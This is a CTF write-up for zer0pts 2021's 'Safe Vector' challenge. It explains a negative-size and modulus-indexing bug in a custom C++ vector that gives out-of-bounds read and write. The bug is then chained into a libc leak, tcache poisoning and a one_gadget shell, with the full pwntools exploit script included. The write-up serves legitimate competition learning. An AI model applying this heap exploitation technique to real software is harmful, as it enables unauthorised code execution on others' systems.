Safe Vector - zer0pts CTF 2021

This was a really cool ctf, and we managed to solve 4 out of the 8 pwn challenges. Here’s my writeup for safe vector - for which we got a top-10 solve.

Safe Vector

tl;dr Faulty vector implementation, negative size and modulus function allows OOB r/w

Initial analysis

The binary provided was a 64-bit one, and the author was kind enough to provide us with the CPP source code. The mitigations enabled were as follows:

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      PIE enabled

Also, the provided libc was glibc 2.31.

The challenge implemented a custom vector, which allowed 5 options, namely push, pop, store, load and wipe. push pushed a value into the vector and incremented the size, pop decremented the size, store allowed us to write a value into a particular index, and load allowed us to read a value at an index, and wipe erased all the contents of the vector and reset the size to 0.

Reversing & Vulnerability

The vector had a custom indexing operation, which returned the element at index % size, so even if we give an out-of-bounds index to store or load, it would still return an element within the vector.

template<typename T>
class safe_vector: public std::vector<T> {
public:
    void wipe() {
        std::vector<T>::resize(0);
        std::vector<T>::shrink_to_fit();
    }

    T& operator[](int index) {
        int size = std::vector<T>::size();
        if (size == 0) {
            throw "index out of bounds";
        }
        return std::vector<T>::operator[](index % size);
    }
};

The push option pushed a value into the vector, incrementing the size, and pop decremented the size of the array. However there was no check for whether the size was already 0, so we could continue to pop even after the size was 0, making it negative.

Now, the store and load options allowed us to read and write at a particular index respectively, but what happens when the size is negative? If the size is negative, and the index we enter is also negative, we can view or write data at an out-of-bounds index, due to the modulus function index % size!

Exploitation

Now that there’s an obvious bug, it was pretty simple to exploit this. My method was to first abuse the vector realloc, which allocated a chunk, then if the size exceeded that of the allocated size, it would free that chunk and allocate another chunk of double the size, and so on (I learnt this just by observing the heap in gdb). This vector allocated a size of 0x20 to start (malloc(0x10)), then 0x30, and so forth. For some reason it seems to allocate two 0x20 chunks initially (no idea why), but we could use this for tcache poisoning.

I abused this by pushing, thus increasing the size of the vector, until the size of the previous freed chunk became > 0x410 (greater than max tcache size, so it would go into unsorted bin). Then we could pop to a certain negative size to get an out-of-bounds read, and hence be able to leak libc from the unsorted bin fd pointer (pointer to main arena in libc). Following this, we could just wipe the vector, and then overwrite tcache fd of 0x20 size to an exit pointer, and get allocation there, and overwrite it with a one_gadget (one_gadgets didn’t work on malloc hook or free hook). Following this, when the exit pointer is called, we get a shell!

Exploit script

#!/usr/bin/python

from pwn import *
import sys

remote_ip, port = 'pwn.ctf.zer0pts.com', 9001
binary = './challmod'
brkpts = '''
b malloc
b execve
'''

elf = ELF("chall")
libc = ELF("libc.so.6")

context.terminal = ['tmux', 'splitw', '-h']
context.arch = "amd64"
context.log_level = "debug"
#context.aslr = False

re = lambda a: io.recv(a)
reu = lambda a: io.recvuntil(a)
rl = lambda: io.recvline()
s = lambda a: io.send(a)
sl = lambda a: io.sendline(a)
sla = lambda a,b: io.sendlineafter(a,b)
sa = lambda a,b: io.sendafter(a,b)

if len(sys.argv) > 1:
    io = remote(remote_ip, port)

else:
    io = process(binary, env = {'LD_PRELOAD' : './libc.so.6'})

def choice(idx):
    sla(">> ", str(idx))

def push(val):
    choice(1)
    sla("value: ", str(val))

def pop():
    choice(2)

def store(idx, val):
    choice(3)
    sla("index: ", str(idx))
    sla("value: ", str(val))

def leak(idx):
    choice(4)
    sla("index: ", str(idx))

def wipe():
    choice(5)

def getupper(val):
    return val >> 32

def getlower(val):
    return val & 0xffffffff

if __name__ == "__main__":
    for i in range(0x205):
        push(i)
    for i in range(0x205*2):
        pop()
    leak(-1030)
    reu("value: ")
    val = int(rl().strip()) << 32
    leak(-1031)
    reu("value: ")
    val += int(rl().strip())
    libc.address = val - 0x1ebbe0
    log.info("Libc : "+hex(libc.address))
    exitp = libc.address + 0x1ed500
    gadget = libc.address + [0xe6c7e, 0xe6c81, 0xe6c84, 0xe6e73, 0xe6e76][1]
    wipe()
    for i in range(5):
        push(i)
    for i in range(25):
        pop()
    store(-16, getlower(exitp))
    store(-15, getupper(exitp))
    wipe()
    push(getlower(gadget))
    push(getupper(gadget))
    sl('cat flag*')

    io.interactive()